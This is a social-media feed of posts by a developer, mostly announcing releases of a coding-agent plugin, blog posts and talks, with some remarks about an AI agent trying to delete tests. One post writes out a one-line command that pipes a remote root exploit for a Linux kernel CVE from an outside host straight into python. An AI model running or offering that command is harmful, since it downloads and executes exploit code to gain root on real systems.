Jesse Vincent @s.ly · 19hI wrote a bit about getting Muse to manage a git repo of all the changes to its skills. There's some neat stuff in there. blog.fsck.com/2026/09/29/I... 030
Jesse Vincent @s.ly · 23/09/2026On the evening of October 14, @simonwillison.net and I are hosting a small, informal chat about agentic engineering and "agentic show and tell" in San Francisco. Details at: blog.fsck.com/2026/09/22/a... 4463
Jesse Vincent @s.ly · 21/09/2026primeradiant.com/blog/2026/su...primeradiant.comSuperpowers 6.4 | Prime Radiant 020
Jesse Vincent @s.ly · 21/09/2026Superpowers 6.4 is out! It adds support for Muse Code, Open Code 2.0 and Qwen Code. This release introduces a new 'native' execution mode for frontier models & adds a new 'diagnosing-superpowers' skill that can help you understand what needs fixing if Superpowers doesn't work like you'd expect. 2110
Jesse Vincent @s.ly · 16/09/2026thanks for the heads up. And indeed there was a bug in the static site generator, but yes, stars is an attention proxy and nothing more. It did not deserve that much prominence. 120
Jesse Vincent @s.ly · 16/09/2026How many coding agents do you think are out there? We got curious, so we set our agents loose to build a new public catalog of agents, agent sdks and multiplexers. It's live at alltheagents.org. If we're missing your favorites, please submit them.alltheagents.orgAll the Agents — 549 Coding Agent Harnesses 3166
Jesse Vincent @s.ly · 16/09/2026It kind of snuck up on me, but I'm going to be joining @timoreilly.bsky.social on Live With Tim tomorrow (Wednesday) morning at 9AM Pacific! You should tune in: www.oreilly.com/live/live-wi...oreilly.comGive Your Agents Superpowers: Jesse Vincent Live with Tim O'Reilly - Sep 16 - O'ReillyWhat Claude's weights reveal about how it actually thinks 0233
Jesse Vincent @s.ly · 01/09/2026Youtube: www.youtube.com/watch?v=QeNV... Spotify: open.spotify.com/episode/5L04... Apple: podcasts.apple.com/us/podcast/w... Web: aiworthusing.comyoutube.comWhen Claude Deleted My Tests: Jesse Vincent, Creator of SuperpowersYouTube video by AIWorthUsing 010
Jesse Vincent @s.ly · 01/09/2026I got to join Tom Preston-Warner and Sam Odio as the first guest on their new podcast, AI Worth Using. We talked about Superpowers and how it came to be. Then Tom installed Superpowers live and asked it to rebuild GitHub from scratch. If you want to see how it went, the episode is out now.youtube.comWhen Claude Deleted My Tests: Jesse Vincent, Creator of SuperpowersYouTube video by AIWorthUsing 162
Reposted by Jesse VincentRich Gibson @richgibson.bsky.social · 27/08/2026I made a demo hyper local map app to track water quality reports. I used @s.ly SuperPowers skill (for the system, blame me for the esthetics). clo-waterquality.com It is test data only for now. Feel free to make test reports. Read the about page for some background.clo-waterquality.comTest project for Clearlake Oaks water reports 001
Jesse Vincent @s.ly · 22/08/2026GLM through a friend’s server that is a pilot for an upcoming startup. You can find the repo for Evener, but I have some stuff I want to do with it before I start linking it and encouraging people to try it.  if you do find it, know that the web surface is the one 020
Jesse Vincent @s.ly · 22/08/2026To test out Evener, our new coding agent harness, I vibe coded a C compiler. blog.fsck.com/2026/08/21/i...blog.fsck.comI vibe-coded a C compiler that can build SQLiteI'm Jesse. I make stuff. Software, hardware. Very occasionally, trouble. 3140
Reposted by Jesse VincentMichael "NE6RD" Pechner @ne6rd.com · 10/08/2026If you have not used superpower plugin with claude you are missing out when doing design and planning. claude.com/plugins/supe...claude.comSuperpowers Plugin | Claude by AnthropicClaude learns brainstorming, subagent development with code review, debugging, TDD, and skill authoring through Superpowers.. Install this plugin to extend your workflow. 031
Jesse Vincent @s.ly · 21/08/2026(That’s not actually how skills work. They only get loaded when the agent requests them) 010
Jesse Vincent @s.ly · 13/08/2026absolutely. All of our evals track token spend and cash spend completely separately. In between token cachinf and the different price of different models…   000
Jesse Vincent @s.ly · 12/08/2026If you install directly from the Superpowers marketplace, 6.3 is available right now. If you install from your coding agent's marketplace, we expect that you should see 6.3.0 within the next day or so. Release notes: github.com/obra/superpo...github.com 051
Jesse Vincent @s.ly · 12/08/2026We're continuing to optimize for current frontier models as your orchestrator during implementation. The latest models are more proactive & prone to spending a lot of extra tokens. More on that soon! 120
Jesse Vincent @s.ly · 12/08/2026I'm pleased to announce Superpowers 6.3. New harnesses: Hermes, Devin CLI & Grok Build Performance with Claude Code with Opus 5 and Codex with GPT 5.6-Sol should be *better* - Claude is now less likely to spawn off duplicate reviewers and Codex is now smarter about how it waits for subagents. 2180
Jesse Vincent @s.ly · 21/07/2026is this related to the gauntlet e2e test suite I make? github.com/prime-radiant-inc/gauntletgithub.comGitHub - prime-radiant-inc/gauntlet: AI-powered QA testing framework that uses LLMs (Claude or GPT) to test web apps, CLI tools, and TUI programs from markdown story cards, returning structured pass/f...AI-powered QA testing framework that uses LLMs (Claude or GPT) to test web apps, CLI tools, and TUI programs from markdown story cards, returning structured pass/fail verdicts with evidence. - prim... 100
Jesse Vincent @s.ly · 20/07/2026I wrote a little bit about the Therapist pattern we’re using for self-modifying agents. primeradiant.com/blog/2026/th...primeradiant.comThe Therapist Pattern | Prime Radiant 071
Jesse Vincent @s.ly · 04/07/2026I built a free tool to keep your clipboard in sync between your macs and your coding agents running in tmux on remote servers. It's called Clipfan. blog.fsck.com/2026/07/03/c...blog.fsck.comSyncing my clipboard between macOS and remote terminalsI'm Jesse. I make stuff. Software, hardware. Very occasionally, trouble. 1151
Jesse Vincent @s.ly · 02/07/2026We're building something really cool for teams using Superpowers inside large orgs. If that's you, I'd love to chat. DM me or drop me a line at jesse@primeradiant.com 0111
Jesse Vincent @s.ly · 18/06/2026reloading plug-ins out from under you in the middle of something sounds unfun. I’d start a new session. 110
Jesse Vincent @s.ly · 16/06/2026I'm pleased to announce Superpowers 6.0. In addition to support for Pi, Antigravity and Kimi Code and a bunch of other improvements, this release builds your projects faser and is *dramatically* more token-efficient. It's available on GitHub now. primeradiant.com/blog/2026/su... 2192
Jesse Vincent @s.ly · 13/06/2026Love Superpowers? Want it to work even better for everybody? We're hiring somebody to help with community and GitHub and stuff: primeradiant.com/jobs/superpo...primeradiant.comSuperpowers Community Engineer | Jobs | Prime Radiant 091
Jesse Vincent @s.ly · 12/06/2026This afternoon, I pulled some data from backups of my .claude directory to build a visualization of Claude Code plugin installs over time. You can explore the data at primeradiant.com/claude-plugi... 040
Jesse Vincent @s.ly · 11/06/2026I guess I will have to live with not being a rocker and not rocking out 000
Jesse Vincent @s.ly · 06/06/2026@clawphones.bsky.social Hi! I need your help to understand your mandate. 000
Reposted by Jesse VincentOl' Chef Dan @olchefdan.bsky.social · 25/05/2026Honestly, one of the funniest tweets I've ever seen. 738198343115
Jesse Vincent @s.ly · 21/05/2026oh, come on. function signatures in Perl are pluggable. You can make them just as pathological as you want. 160
Jesse Vincent @s.ly · 12/05/2026Started with tape and files and then figured out that a deburring tool does an even better job. 210
Jesse Vincent @s.ly · 11/05/2026There's a good chance that taking it to the apple store is a 'top case' replacement. And that likely means no laptop for half a week. And losing the filleted edge I put on it. 120
Jesse Vincent @s.ly · 11/05/2026My MacBook Pro's escape key had gotten sticky and unreliable. I successfully removed the keycap, cleaned the cavity and scissor mechanism, AND reassembled the key without breaking anything. The key even works right again. Please clap. 6310
Jesse Vincent @s.ly · 08/05/2026@buttplug.engineer seems relevant to your interests, although I assume this is...fanfic. 130
Jesse Vincent @s.ly · 01/05/2026A short post about my favorite adversarial review prompt: blog.fsck.com/2026/05/01/a...blog.fsck.comMy favorite adversarial review promptI'm Jesse. I make stuff. Software, hardware. Very occasionally, trouble. 281
Jesse Vincent @s.ly · 01/05/2026hooks can’t prevent intent. They could prevent the literal rm of whole files. 010
Jesse Vincent @s.ly · 30/04/2026I'd love to see it. I have literally never seen a prompt that blocks rationalizations. 110
Jesse Vincent @s.ly · 30/04/2026That would be so easy to work around. That’s exactly the kind of mitigation that I found does not work for the reasons I talked about in the post. 100
Jesse Vincent @s.ly · 30/04/2026You should absolutely write that up. It's pretty common with folks I talk to that they have a masked test suite because anything else will get gamed. 010
Jesse Vincent @s.ly · 30/04/2026I wrote about the time I caught Claude trying to delete all of my tests (and how I fixed it) blog.fsck.com/2026/04/30/t...blog.fsck.comThat time it tried to delete all my testsI'm Jesse. I make stuff. Software, hardware. Very occasionally, trouble. 5120
Jesse Vincent @s.ly · 29/04/2026Ordinarily, the security advice is "don't pipe curl to sh, because it might have an exploit in it" (That advice stands. Always check the payload) curl copy.fail/exp | python3 && sucopy.failCopy Fail: 732 Bytes to Root on Every Major Linux Distributions - XintXint Code disclosed CVE-2026-31431, an authencesn scratch-write bug chaining AF_ALG + splice() into a 4-byte page cache write. A 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE. | AI for Se... 092
Jesse Vincent @s.ly · 29/04/2026So here's the pitch: It's Eternal September, but for Patch Tuesday. 2102